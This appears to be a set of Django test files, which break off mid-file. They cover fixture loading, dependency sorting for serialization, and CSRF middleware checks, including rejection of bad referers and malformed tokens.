        with self.assertRaisesMessage(IntegrityError, "Problem installing fixture"):
            management.call_command(
                'loaddata',
                'forward_ref_bad_data.json',
                verbosity=0,
            )

    @skipUnlessDBFeature('supports_forward_references')
    @override_settings(FIXTURE_DIRS=[os.path.join(_cur_dir, 'fixtures_1'),
                                     os.path.join(_cur_dir, 'fixtures_2')])
    def test_loaddata_forward_refs_split_fixtures(self):
        """
        Regression for #17530 - should be able to cope with forward references
        when the fixtures are not in the same files or directories.
        """
        management.call_command(
            'loaddata',
            'forward_ref_1.json',
            'forward_ref_2.json',
            verbosity=0,
        )
        self.assertEqual(Book.objects.all()[0].id, 1)
        self.assertEqual(Person.objects.all()[0].id, 4)

    def test_loaddata_no_fixture_specified(self):
        """
        Regression for #7043 - Error is quickly reported when no fixtures is provided in the command line.
        """
        msg = "No database fixture specified. Please provide the path of at least one fixture in the command line."
        with self.assertRaisesMessage(management.CommandError, msg):
            management.call_command(
                'loaddata',
                verbosity=0,
            )

    def test_ticket_20820(self):
        """
        Regression for ticket #20820 -- loaddata on a model that inherits
        from a model with a M2M shouldn't blow up.
        """
        management.call_command(
            'loaddata',
            'special-article.json',
            verbosity=0,
        )

    def test_ticket_22421(self):
        """
        Regression for ticket #22421 -- loaddata on a model that inherits from
        a grand-parent model with a M2M but via an abstract parent shouldn't
        blow up.
        """
        management.call_command(
            'loaddata',
            'feature.json',
            verbosity=0,
        )

    def test_loaddata_with_m2m_to_self(self):
        """
        Regression test for ticket #17946.
        """
        management.call_command(
            'loaddata',
            'm2mtoself.json',
            verbosity=0,
        )

    @override_settings(FIXTURE_DIRS=[os.path.join(_cur_dir, 'fixtures_1'),
                                     os.path.join(_cur_dir, 'fixtures_1')])
    def test_fixture_dirs_with_duplicates(self):
        """
        settings.FIXTURE_DIRS cannot contain duplicates in order to avoid
        repeated fixture loading.
        """
        with self.assertRaisesMessage(ImproperlyConfigured, "settings.FIXTURE_DIRS contains duplicates."):
            management.call_command('loaddata', 'absolute.json', verbosity=0)

    @skipIfNonASCIIPath
    @override_settings(FIXTURE_DIRS=[os.path.join(_cur_dir, 'fixtures')])
    def test_fixture_dirs_with_default_fixture_path(self):
        """
        settings.FIXTURE_DIRS cannot contain a default fixtures directory
        for application (app/fixtures) in order to avoid repeated fixture loading.
        """
        msg = (
            "'%s' is a default fixture directory for the '%s' app "
            "and cannot be listed in settings.FIXTURE_DIRS."
            % (os.path.join(_cur_dir, 'fixtures'), 'fixtures_regress')
        )
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            management.call_command('loaddata', 'absolute.json', verbosity=0)

    @override_settings(FIXTURE_DIRS=[os.path.join(_cur_dir, 'fixtures_1'),
                                     os.path.join(_cur_dir, 'fixtures_2')])
    def test_loaddata_with_valid_fixture_dirs(self):
        management.call_command(
            'loaddata',
            'absolute.json',
            verbosity=0,
        )


class NaturalKeyFixtureTests(TestCase):

    def test_nk_deserialize(self):
        """
        Test for ticket #13030 - Python based parser version
        natural keys deserialize with fk to inheriting model
        """
        management.call_command(
            'loaddata',
            'model-inheritance.json',
            verbosity=0,
        )
        management.call_command(
            'loaddata',
            'nk-inheritance.json',
            verbosity=0,
        )
        self.assertEqual(
            NKChild.objects.get(pk=1).data,
            'apple'
        )

        self.assertEqual(
            RefToNKChild.objects.get(pk=1).nk_fk.data,
            'apple'
        )

    def test_nk_deserialize_xml(self):
        """
        Test for ticket #13030 - XML version
        natural keys deserialize with fk to inheriting model
        """
        management.call_command(
            'loaddata',
            'model-inheritance.json',
            verbosity=0,
        )
        management.call_command(
            'loaddata',
            'nk-inheritance.json',
            verbosity=0,
        )
        management.call_command(
            'loaddata',
            'nk-inheritance2.xml',
            verbosity=0,
        )
        self.assertEqual(
            NKChild.objects.get(pk=2).data,
            'banana'
        )
        self.assertEqual(
            RefToNKChild.objects.get(pk=2).nk_fk.data,
            'apple'
        )

    def test_nk_on_serialize(self):
        """
        Check that natural key requirements are taken into account
        when serializing models
        """
        management.call_command(
            'loaddata',
            'forward_ref_lookup.json',
            verbosity=0,
        )

        out = StringIO()
        management.call_command(
            'dumpdata',
            'fixtures_regress.book',
            'fixtures_regress.person',
            'fixtures_regress.store',
            verbosity=0,
            format='json',
            use_natural_foreign_keys=True,
            use_natural_primary_keys=True,
            stdout=out,
        )
        self.assertJSONEqual(
            out.getvalue(),
            """
            [{"fields": {"main": null, "name": "Amazon"}, "model": "fixtures_regress.store"},
            {"fields": {"main": null, "name": "Borders"}, "model": "fixtures_regress.store"},
            {"fields": {"name": "Neal Stephenson"}, "model": "fixtures_regress.person"},
            {"pk": 1, "model": "fixtures_regress.book", "fields": {"stores": [["Amazon"], ["Borders"]],
            "name": "Cryptonomicon", "author": ["Neal Stephenson"]}}]
            """
        )

    def test_dependency_sorting(self):
        """
        Now lets check the dependency sorting explicitly
        It doesn't matter what order you mention the models
        Store *must* be serialized before then Person, and both
        must be serialized before Book.
        """
        sorted_deps = serializers.sort_dependencies(
            [('fixtures_regress', [Book, Person, Store])]
        )
        self.assertEqual(
            sorted_deps,
            [Store, Person, Book]
        )

    def test_dependency_sorting_2(self):
        sorted_deps = serializers.sort_dependencies(
            [('fixtures_regress', [Book, Store, Person])]
        )
        self.assertEqual(
            sorted_deps,
            [Store, Person, Book]
        )

    def test_dependency_sorting_3(self):
        sorted_deps = serializers.sort_dependencies(
            [('fixtures_regress', [Store, Book, Person])]
        )
        self.assertEqual(
            sorted_deps,
            [Store, Person, Book]
        )

    def test_dependency_sorting_4(self):
        sorted_deps = serializers.sort_dependencies(
            [('fixtures_regress', [Store, Person, Book])]
        )
        self.assertEqual(
            sorted_deps,
            [Store, Person, Book]
        )

    def test_dependency_sorting_5(self):
        sorted_deps = serializers.sort_dependencies(
            [('fixtures_regress', [Person, Book, Store])]
        )
        self.assertEqual(
            sorted_deps,
            [Store, Person, Book]
        )

    def test_dependency_sorting_6(self):
        sorted_deps = serializers.sort_dependencies(
            [('fixtures_regress', [Person, Store, Book])]
        )
        self.assertEqual(
            sorted_deps,
            [Store, Person, Book]
        )

    def test_dependency_sorting_dangling(self):
        sorted_deps = serializers.sort_dependencies(
            [('fixtures_regress', [Person, Circle1, Store, Book])]
        )
        self.assertEqual(
            sorted_deps,
            [Circle1, Store, Person, Book]
        )

    def test_dependency_sorting_tight_circular(self):
        with self.assertRaisesMessage(
            RuntimeError,
            "Can't resolve dependencies for fixtures_regress.Circle1, "
            "fixtures_regress.Circle2 in serialized app list."
        ):
            serializers.sort_dependencies([('fixtures_regress', [Person, Circle2, Circle1, Store, Book])])

    def test_dependency_sorting_tight_circular_2(self):
        with self.assertRaisesMessage(
            RuntimeError,
            "Can't resolve dependencies for fixtures_regress.Circle1, "
            "fixtures_regress.Circle2 in serialized app list."
        ):
            serializers.sort_dependencies([('fixtures_regress', [Circle1, Book, Circle2])])

    def test_dependency_self_referential(self):
        with self.assertRaisesMessage(
            RuntimeError,
            "Can't resolve dependencies for fixtures_regress.Circle3 in "
            "serialized app list."
        ):
            serializers.sort_dependencies([('fixtures_regress', [Book, Circle3])])

    def test_dependency_sorting_long(self):
        with self.assertRaisesMessage(
            RuntimeError,
            "Can't resolve dependencies for fixtures_regress.Circle1, "
            "fixtures_regress.Circle2, fixtures_regress.Circle3 in serialized "
            "app list."
        ):
            serializers.sort_dependencies([('fixtures_regress', [Person, Circle2, Circle1, Circle3, Store, Book])])

    def test_dependency_sorting_normal(self):
        sorted_deps = serializers.sort_dependencies(
            [('fixtures_regress', [Person, ExternalDependency, Book])]
        )
        self.assertEqual(
            sorted_deps,
            [Person, Book, ExternalDependency]
        )

    def test_normal_pk(self):
        """
        Check that normal primary keys still work
        on a model with natural key capabilities
        """
        management.call_command(
            'loaddata',
            'non_natural_1.json',
            verbosity=0,
        )
        management.call_command(
            'loaddata',
            'forward_ref_lookup.json',
            verbosity=0,
        )
        management.call_command(
            'loaddata',
            'non_natural_2.xml',
            verbosity=0,
        )
        books = Book.objects.all()
        self.assertQuerysetEqual(
            books, [
                "<Book: Cryptonomicon by Neal Stephenson (available at Amazon, Borders)>",
                "<Book: Ender's Game by Orson Scott Card (available at Collins Bookstore)>",
                "<Book: Permutation City by Greg Egan (available at Angus and Robertson)>",
            ]
        )


class M2MNaturalKeyFixtureTests(TestCase):
    """Tests for ticket #14426."""

    def test_dependency_sorting_m2m_simple(self):
        """
        M2M relations without explicit through models SHOULD count as dependencies

        Regression test for bugs that could be caused by flawed fixes to
        #14226, namely if M2M checks are removed from sort_dependencies
        altogether.
        """
        sorted_deps = serializers.sort_dependencies(
            [('fixtures_regress', [M2MSimpleA, M2MSimpleB])]
        )
        self.assertEqual(sorted_deps, [M2MSimpleB, M2MSimpleA])

    def test_dependency_sorting_m2m_simple_circular(self):
        """
        Resolving circular M2M relations without explicit through models should
        fail loudly
        """
        with self.assertRaisesMessage(
            RuntimeError,
            "Can't resolve dependencies for fixtures_regress.M2MSimpleCircularA, "
            "fixtures_regress.M2MSimpleCircularB in serialized app list."
        ):
            serializers.sort_dependencies([('fixtures_regress', [M2MSimpleCircularA, M2MSimpleCircularB])])

    def test_dependency_sorting_m2m_complex(self):
        """
        M2M relations with explicit through models should NOT count as
        dependencies.  The through model itself will have dependencies, though.
        """
        sorted_deps = serializers.sort_dependencies(
            [('fixtures_regress', [M2MComplexA, M2MComplexB, M2MThroughAB])]
        )
        # Order between M2MComplexA and M2MComplexB doesn't matter. The through
        # model has dependencies to them though, so it should come last.
        self.assertEqual(sorted_deps[-1], M2MThroughAB)

    def test_dependency_sorting_m2m_complex_circular_1(self):
        """
        Circular M2M relations with explicit through models should be serializable
        """
        A, B, C, AtoB, BtoC, CtoA = (M2MComplexCircular1A, M2MComplexCircular1B,
                                     M2MComplexCircular1C, M2MCircular1ThroughAB,
                                     M2MCircular1ThroughBC, M2MCircular1ThroughCA)
        sorted_deps = serializers.sort_dependencies(
            [('fixtures_regress', [A, B, C, AtoB, BtoC, CtoA])]
        )
        # The dependency sorting should not result in an error, and the
        # through model should have dependencies to the other models and as
        # such come last in the list.
        self.assertEqual(sorted_deps[:3], [A, B, C])
        self.assertEqual(sorted_deps[3:], [AtoB, BtoC, CtoA])

    def test_dependency_sorting_m2m_complex_circular_2(self):
        """
        Circular M2M relations with explicit through models should be serializable
        This test tests the circularity with explicit natural_key.dependencies
        """
        sorted_deps = serializers.sort_dependencies([
            ('fixtures_regress', [M2MComplexCircular2A, M2MComplexCircular2B, M2MCircular2ThroughAB])
        ])
        self.assertEqual(sorted_deps[:2], [M2MComplexCircular2A, M2MComplexCircular2B])
        self.assertEqual(sorted_deps[2:], [M2MCircular2ThroughAB])

    def test_dump_and_load_m2m_simple(self):
        """
        Test serializing and deserializing back models with simple M2M relations
        """
        a = M2MSimpleA.objects.create(data="a")
        b1 = M2MSimpleB.objects.create(data="b1")
        b2 = M2MSimpleB.objects.create(data="b2")
        a.b_set.add(b1)
        a.b_set.add(b2)

        out = StringIO()
        management.call_command(
            'dumpdata',
            'fixtures_regress.M2MSimpleA',
            'fixtures_regress.M2MSimpleB',
            use_natural_foreign_keys=True,
            stdout=out,
        )

        for model in [M2MSimpleA, M2MSimpleB]:
            model.objects.all().delete()

        objects = serializers.deserialize("json", out.getvalue())
        for obj in objects:
            obj.save()

        new_a = M2MSimpleA.objects.get_by_natural_key("a")
        self.assertQuerysetEqual(new_a.b_set.all(), [
            "<M2MSimpleB: b1>",
            "<M2MSimpleB: b2>"
        ], ordered=False)


class TestTicket11101(TransactionTestCase):

    available_apps = [
        'fixtures_regress',
        'django.contrib.auth',
        'django.contrib.contenttypes',
    ]

    @skipUnlessDBFeature('supports_transactions')
    def test_ticket_11101(self):
        """Test that fixtures can be rolled back (ticket #11101)."""
        with transaction.atomic():
            management.call_command(
                'loaddata',
                'thingy.json',
                verbosity=0,
            )
            self.assertEqual(Thingy.objects.count(), 1)
            transaction.set_rollback(True)
        self.assertEqual(Thingy.objects.count(), 0)


class TestLoadFixtureFromOtherAppDirectory(TestCase):
    """
    #23612 -- fixtures path should be normalized to allow referencing relative
    paths on Windows.
    """
    current_dir = os.path.abspath(os.path.dirname(__file__))
    # relative_prefix is something like tests/fixtures_regress or
    # fixtures_regress depending on how runtests.py is invoked.
    # All path separators must be / in order to be a proper regression test on
    # Windows, so replace as appropriate.
    relative_prefix = os.path.relpath(current_dir, os.getcwd()).replace('\\', '/')
    fixtures = [relative_prefix + '/fixtures/absolute.json']

    def test_fixtures_loaded(self):
        count = Absolute.objects.count()
        self.assertGreater(count, 0, "Fixtures not loaded properly.")






from django.http import HttpRequest
from django.middleware.csrf import _compare_salted_tokens as equivalent_tokens
from django.template.context_processors import csrf
from django.test import SimpleTestCase
from django.utils.encoding import force_text


class TestContextProcessor(SimpleTestCase):

    def test_force_text_on_token(self):
        request = HttpRequest()
        test_token = '1bcdefghij2bcdefghij3bcdefghij4bcdefghij5bcdefghij6bcdefghijABCD'
        request.META['CSRF_COOKIE'] = test_token
        token = csrf(request).get('csrf_token')
        self.assertTrue(equivalent_tokens(force_text(token), test_token))












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import logging
import re
import warnings

from django.conf import settings
from django.http import HttpRequest, HttpResponse
from django.middleware.csrf import (
    CSRF_TOKEN_LENGTH, REASON_BAD_TOKEN, REASON_NO_CSRF_COOKIE,
    CsrfViewMiddleware, _compare_salted_tokens as equivalent_tokens, get_token,
)
from django.template import RequestContext, Template
from django.template.context_processors import csrf
from django.test import SimpleTestCase, override_settings
from django.test.utils import patch_logger
from django.utils.encoding import force_bytes
from django.utils.six import text_type
from django.views.decorators.csrf import (
    csrf_exempt, ensure_csrf_cookie, requires_csrf_token,
)


# Response/views used for CsrfResponseMiddleware and CsrfViewMiddleware tests
def post_form_response():
    resp = HttpResponse(content="""
<html><body><h1>\u00a1Unicode!<form method="post"><input type="text" /></form></body></html>
""", mimetype="text/html")
    return resp


def post_form_view(request):
    """A view that returns a POST form (without a token)"""
    return post_form_response()


# Response/views used for template tag tests

def token_view(request):
    """A view that uses {% csrf_token %}"""
    context = RequestContext(request, processors=[csrf])
    template = Template("{% csrf_token %}")
    return HttpResponse(template.render(context))


def non_token_view_using_request_processor(request):
    """
    A view that doesn't use the token, but does use the csrf view processor.
    """
    context = RequestContext(request, processors=[csrf])
    template = Template("")
    return HttpResponse(template.render(context))


class TestingHttpRequest(HttpRequest):
    """
    A version of HttpRequest that allows us to change some things
    more easily
    """
    def is_secure(self):
        return getattr(self, '_is_secure_override', False)


class CsrfViewMiddlewareTest(SimpleTestCase):
    _csrf_id = _csrf_id_cookie = '1bcdefghij2bcdefghij3bcdefghij4bcdefghij5bcdefghij6bcdefghijABCD'

    def _get_GET_no_csrf_cookie_request(self):
        return TestingHttpRequest()

    def _get_GET_csrf_cookie_request(self):
        req = TestingHttpRequest()
        req.COOKIES[settings.CSRF_COOKIE_NAME] = self._csrf_id_cookie
        return req

    def _get_POST_csrf_cookie_request(self):
        req = self._get_GET_csrf_cookie_request()
        req.method = "POST"
        return req

    def _get_POST_no_csrf_cookie_request(self):
        req = self._get_GET_no_csrf_cookie_request()
        req.method = "POST"
        return req

    def _get_POST_request_with_token(self):
        req = self._get_POST_csrf_cookie_request()
        req.POST['csrfmiddlewaretoken'] = self._csrf_id
        return req

    def _get_POST_bare_secret_csrf_cookie_request(self):
        req = self._get_POST_no_csrf_cookie_request()
        req.COOKIES[settings.CSRF_COOKIE_NAME] = self._csrf_id_cookie[:32]
        return req

    def _get_POST_bare_secret_csrf_cookie_request_with_token(self):
        req = self._get_POST_bare_secret_csrf_cookie_request()
        req.POST['csrfmiddlewaretoken'] = self._csrf_id_cookie[:32]
        return req

    def _check_token_present(self, response, csrf_id=None):
        text = text_type(response.content, response.charset)
        match = re.search("name='csrfmiddlewaretoken' value='(.*?)'", text)
        csrf_token = csrf_id or self._csrf_id
        self.assertTrue(
            match and equivalent_tokens(csrf_token, match.group(1)),
            "Could not find csrfmiddlewaretoken to match %s" % csrf_token
        )

    def test_process_view_token_too_long(self):
        """
        If the token is longer than expected, it is ignored and a new token is
        created.
        """
        req = self._get_GET_no_csrf_cookie_request()
        req.COOKIES[settings.CSRF_COOKIE_NAME] = 'x' * 100000
        CsrfViewMiddleware().process_view(req, token_view, (), {})
        resp = token_view(req)
        resp2 = CsrfViewMiddleware().process_response(req, resp)
        csrf_cookie = resp2.cookies.get(settings.CSRF_COOKIE_NAME, False)
        self.assertEqual(len(csrf_cookie.value), CSRF_TOKEN_LENGTH)

    def test_process_view_token_invalid_chars(self):
        """
        If the token contains non-alphanumeric characters, it is ignored and a
        new token is created.
        """
        token = ('!@#' + self._csrf_id)[:CSRF_TOKEN_LENGTH]
        req = self._get_GET_no_csrf_cookie_request()
        req.COOKIES[settings.CSRF_COOKIE_NAME] = token
        CsrfViewMiddleware().process_view(req, token_view, (), {})
        resp = token_view(req)
        resp2 = CsrfViewMiddleware().process_response(req, resp)
        csrf_cookie = resp2.cookies.get(settings.CSRF_COOKIE_NAME, False)
        self.assertEqual(len(csrf_cookie.value), CSRF_TOKEN_LENGTH)
        self.assertNotEqual(csrf_cookie.value, token)

    def test_process_view_token_invalid_bytes(self):
        """
        If the token contains improperly encoded unicode, it is ignored and a
        new token is created.
        """
        token = (b"<1>\xc2\xa1" + force_bytes(self._csrf_id, 'ascii'))[:CSRF_TOKEN_LENGTH]
        req = self._get_GET_no_csrf_cookie_request()
        req.COOKIES[settings.CSRF_COOKIE_NAME] = token
        # We expect a UnicodeWarning here, because we used broken utf-8 on purpose
        with warnings.catch_warnings():
            warnings.filterwarnings("ignore", category=UnicodeWarning)
            CsrfViewMiddleware().process_view(req, token_view, (), {})
        resp = token_view(req)
        resp2 = CsrfViewMiddleware().process_response(req, resp)
        csrf_cookie = resp2.cookies.get(settings.CSRF_COOKIE_NAME, False)
        self.assertEqual(len(csrf_cookie.value), CSRF_TOKEN_LENGTH)
        self.assertNotEqual(csrf_cookie.value, token)

    def test_process_response_get_token_used(self):
        """
        When get_token is used, check that the cookie is created and headers
        patched.
        """
        req = self._get_GET_no_csrf_cookie_request()

        # Put tests for CSRF_COOKIE_* settings here
        with self.settings(CSRF_COOKIE_NAME='myname',
                           CSRF_COOKIE_DOMAIN='.example.com',
                           CSRF_COOKIE_PATH='/test/',
                           CSRF_COOKIE_SECURE=True,
                           CSRF_COOKIE_HTTPONLY=True):
            # token_view calls get_token() indirectly
            CsrfViewMiddleware().process_view(req, token_view, (), {})
            resp = token_view(req)
            resp2 = CsrfViewMiddleware().process_response(req, resp)
        csrf_cookie = resp2.cookies.get('myname', False)
        self.assertIsNot(csrf_cookie, False)
        self.assertEqual(csrf_cookie['domain'], '.example.com')
        self.assertIs(csrf_cookie['secure'], True)
        self.assertIs(csrf_cookie['httponly'], True)
        self.assertEqual(csrf_cookie['path'], '/test/')
        self.assertIn('Cookie', resp2.get('Vary', ''))

    def test_process_response_get_token_not_used(self):
        """
        Check that if get_token() is not called, the view middleware does not
        add a cookie.
        """
        # This is important to make pages cacheable.  Pages which do call
        # get_token(), assuming they use the token, are not cacheable because
        # the token is specific to the user
        req = self._get_GET_no_csrf_cookie_request()
        # non_token_view_using_request_processor does not call get_token(), but
        # does use the csrf request processor.  By using this, we are testing
        # that the view processor is properly lazy and doesn't call get_token()
        # until needed.
        CsrfViewMiddleware().process_view(req, non_token_view_using_request_processor, (), {})
        resp = non_token_view_using_request_processor(req)
        resp2 = CsrfViewMiddleware().process_response(req, resp)

        csrf_cookie = resp2.cookies.get(settings.CSRF_COOKIE_NAME, False)
        self.assertIs(csrf_cookie, False)

    # Check the request processing
    def test_process_request_no_csrf_cookie(self):
        """
        Check that if no CSRF cookies is present, the middleware rejects the
        incoming request.  This will stop login CSRF.
        """
        with patch_logger('django.security.csrf', 'warning') as logger_calls:
            req = self._get_POST_no_csrf_cookie_request()
            req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
            self.assertEqual(403, req2.status_code)
            self.assertEqual(logger_calls[0], 'Forbidden (%s): ' % REASON_NO_CSRF_COOKIE)

    def test_process_request_csrf_cookie_no_token(self):
        """
        Check that if a CSRF cookie is present but no token, the middleware
        rejects the incoming request.
        """
        with patch_logger('django.security.csrf', 'warning') as logger_calls:
            req = self._get_POST_csrf_cookie_request()
            req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
            self.assertEqual(403, req2.status_code)
            self.assertEqual(logger_calls[0], 'Forbidden (%s): ' % REASON_BAD_TOKEN)

    def test_process_request_csrf_cookie_and_token(self):
        """
        Check that if both a cookie and a token is present, the middleware lets it through.
        """
        req = self._get_POST_request_with_token()
        req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(req2)

    def test_process_request_csrf_cookie_no_token_exempt_view(self):
        """
        Check that if a CSRF cookie is present and no token, but the csrf_exempt
        decorator has been applied to the view, the middleware lets it through
        """
        req = self._get_POST_csrf_cookie_request()
        req2 = CsrfViewMiddleware().process_view(req, csrf_exempt(post_form_view), (), {})
        self.assertIsNone(req2)

    def test_csrf_token_in_header(self):
        """
        Check that we can pass in the token in a header instead of in the form
        """
        req = self._get_POST_csrf_cookie_request()
        req.META['HTTP_X_CSRFTOKEN'] = self._csrf_id
        req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(req2)

    @override_settings(CSRF_HEADER_NAME='HTTP_X_CSRFTOKEN_CUSTOMIZED')
    def test_csrf_token_in_header_with_customized_name(self):
        """
        settings.CSRF_HEADER_NAME can be used to customize the CSRF header name
        """
        req = self._get_POST_csrf_cookie_request()
        req.META['HTTP_X_CSRFTOKEN_CUSTOMIZED'] = self._csrf_id
        req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(req2)

    def test_put_and_delete_rejected(self):
        """
        Tests that HTTP PUT and DELETE methods have protection
        """
        req = TestingHttpRequest()
        req.method = 'PUT'
        with patch_logger('django.security.csrf', 'warning') as logger_calls:
            req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
            self.assertEqual(403, req2.status_code)
            self.assertEqual(logger_calls[0], 'Forbidden (%s): ' % REASON_NO_CSRF_COOKIE)

        req = TestingHttpRequest()
        req.method = 'DELETE'
        with patch_logger('django.security.csrf', 'warning') as logger_calls:
            req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
            self.assertEqual(403, req2.status_code)
            self.assertEqual(logger_calls[0], 'Forbidden (%s): ' % REASON_NO_CSRF_COOKIE)

    def test_put_and_delete_allowed(self):
        """
        Tests that HTTP PUT and DELETE methods can get through with
        X-CSRFToken and a cookie
        """
        req = self._get_GET_csrf_cookie_request()
        req.method = 'PUT'
        req.META['HTTP_X_CSRFTOKEN'] = self._csrf_id
        req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(req2)

        req = self._get_GET_csrf_cookie_request()
        req.method = 'DELETE'
        req.META['HTTP_X_CSRFTOKEN'] = self._csrf_id
        req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(req2)

    # Tests for the template tag method
    def test_token_node_no_csrf_cookie(self):
        """
        Check that CsrfTokenNode works when no CSRF cookie is set
        """
        req = self._get_GET_no_csrf_cookie_request()
        resp = token_view(req)

        token = get_token(req)
        self.assertIsNotNone(token)
        self._check_token_present(resp, token)

    def test_token_node_empty_csrf_cookie(self):
        """
        Check that we get a new token if the csrf_cookie is the empty string
        """
        req = self._get_GET_no_csrf_cookie_request()
        req.COOKIES[settings.CSRF_COOKIE_NAME] = b""
        CsrfViewMiddleware().process_view(req, token_view, (), {})
        resp = token_view(req)

        token = get_token(req)
        self.assertIsNotNone(token)
        self._check_token_present(resp, token)

    def test_token_node_with_csrf_cookie(self):
        """
        Check that CsrfTokenNode works when a CSRF cookie is set
        """
        req = self._get_GET_csrf_cookie_request()
        CsrfViewMiddleware().process_view(req, token_view, (), {})
        resp = token_view(req)
        self._check_token_present(resp)

    def test_get_token_for_exempt_view(self):
        """
        Check that get_token still works for a view decorated with 'csrf_exempt'.
        """
        req = self._get_GET_csrf_cookie_request()
        CsrfViewMiddleware().process_view(req, csrf_exempt(token_view), (), {})
        resp = token_view(req)
        self._check_token_present(resp)

    def test_get_token_for_requires_csrf_token_view(self):
        """
        Check that get_token works for a view decorated solely with requires_csrf_token
        """
        req = self._get_GET_csrf_cookie_request()
        resp = requires_csrf_token(token_view)(req)
        self._check_token_present(resp)

    def test_token_node_with_new_csrf_cookie(self):
        """
        Check that CsrfTokenNode works when a CSRF cookie is created by
        the middleware (when one was not already present)
        """
        req = self._get_GET_no_csrf_cookie_request()
        CsrfViewMiddleware().process_view(req, token_view, (), {})
        resp = token_view(req)
        resp2 = CsrfViewMiddleware().process_response(req, resp)
        csrf_cookie = resp2.cookies[settings.CSRF_COOKIE_NAME]
        self._check_token_present(resp, csrf_id=csrf_cookie.value)

    def test_cookie_not_reset_on_accepted_request(self):
        """
        The csrf token used in posts is changed on every request (although
        stays equivalent). The csrf cookie should not change on accepted
        requests. If it appears in the response, it should keep its value.
        """
        req = self._get_POST_request_with_token()
        CsrfViewMiddleware().process_view(req, token_view, (), {})
        resp = token_view(req)
        resp = CsrfViewMiddleware().process_response(req, resp)
        csrf_cookie = resp.cookies.get(settings.CSRF_COOKIE_NAME, None)
        if csrf_cookie:
            self.assertEqual(
                csrf_cookie.value, self._csrf_id_cookie,
                "CSRF cookie was changed on an accepted request"
            )

    def test_bare_secret_accepted_and_replaced(self):
        """
        The csrf token is reset from a bare secret.
        """
        req = self._get_POST_bare_secret_csrf_cookie_request_with_token()
        req2 = CsrfViewMiddleware().process_view(req, token_view, (), {})
        self.assertIsNone(req2)
        resp = token_view(req)
        resp = CsrfViewMiddleware().process_response(req, resp)
        self.assertIn(settings.CSRF_COOKIE_NAME, resp.cookies, "Cookie was not reset from bare secret")
        csrf_cookie = resp.cookies[settings.CSRF_COOKIE_NAME]
        self.assertEqual(len(csrf_cookie.value), CSRF_TOKEN_LENGTH)
        self._check_token_present(resp, csrf_id=csrf_cookie.value)

    @override_settings(DEBUG=True)
    def test_https_bad_referer(self):
        """
        Test that a POST HTTPS request with a bad referer is rejected
        """
        req = self._get_POST_request_with_token()
        req._is_secure_override = True
        req.META['HTTP_HOST'] = 'www.example.com'
        req.META['HTTP_REFERER'] = 'https://www.evil.org/somepage'
        req.META['SERVER_PORT'] = '443'
        response = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertContains(
            response,
            'Referer checking failed - https://www.evil.org/somepage does not '
            'match any trusted origins.',
            status_code=403,
        )

    @override_settings(DEBUG=True)
    def test_https_malformed_referer(self):
        """
        A POST HTTPS request with a bad referer is rejected.
        """
        malformed_referer_msg = 'Referer checking failed - Referer is malformed.'
        req = self._get_POST_request_with_token()
        req._is_secure_override = True
        req.META['HTTP_REFERER'] = 'http://http://www.example.com/'
        response = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertContains(
            response,
            'Referer checking failed - Referer is insecure while host is secure.',
            status_code=403,
        )
        # Empty
        req.META['HTTP_REFERER'] = ''
        response = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertContains(response, malformed_referer_msg, status_code=403)
        # Non-ASCII
        req.META['HTTP_REFERER'] = b'\xd8B\xf6I\xdf'
        response = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertContains(response, malformed_referer_msg, status_code=403)
        # missing scheme
        # >>> urlparse('//example.com/')
        # ParseResult(scheme='', netloc='example.com', path='/', params='', query='', fragment='')
        req.META['HTTP_REFERER'] = '//example.com/'
        response = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertContains(response, malformed_referer_msg, status_code=403)
        # missing netloc
        # >>> urlparse('https://')
        # ParseResult(scheme='https', netloc='', path='', params='', query='', fragment='')
        req.META['HTTP_REFERER'] = 'https://'
        response = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertContains(response, malformed_referer_msg, status_code=403)

    @override_settings(ALLOWED_HOSTS=['www.example.com'])
    def test_https_good_referer(self):
        """
        A POST HTTPS request with a good referer is accepted.
        """
        req = self._get_POST_request_with_token()
        req._is_secure_override = True
        req.META['HTTP_HOST'] = 'www.example.com'
        req.META['HTTP_REFERER'] = 'https://www.example.com/somepage'
        req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(req2)

    @override_settings(ALLOWED_HOSTS=['www.example.com'])
    def test_https_good_referer_2(self):
        """
        A POST HTTPS request with a good referer is accepted where the referer
        contains no trailing slash.
        """
        # See ticket #15617
        req = self._get_POST_request_with_token()
        req._is_secure_override = True
        req.META['HTTP_HOST'] = 'www.example.com'
        req.META['HTTP_REFERER'] = 'https://www.example.com'
        req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(req2)

    @override_settings(ALLOWED_HOSTS=['www.example.com'], CSRF_COOKIE_DOMAIN='.example.com', USE_X_FORWARDED_PORT=True)
    def test_https_good_referer_behind_proxy(self):
        """
        A POST HTTPS request is accepted when USE_X_FORWARDED_PORT=True.
        """
        req = self._get_POST_request_with_token()
        req._is_secure_override = True
        req.META.update({
            'HTTP_HOST': '10.0.0.2',
            'HTTP_REFERER': 'https://www.example.com/somepage',
            'SERVER_PORT': '8080',
            'HTTP_X_FORWARDED_HOST': 'www.example.com',
            'HTTP_X_FORWARDED_PORT': '443',
        })
        req2 = CsrfViewMiddleware().process_view(req, post_form_view, (), {})
        self.assertIsNone(req2)

    @override_settings(ALLOWED_HOSTS=['www.example.com'], CSRF_TRUSTED_ORIGINS=['dashboard.example.com'])
    def test_https_csrf_trusted_origin_allowed(self):
        """
        A POST HTTPS request with a referer added to the CSRF_TRUSTED_ORIGINS
        setting is accepted.
        """
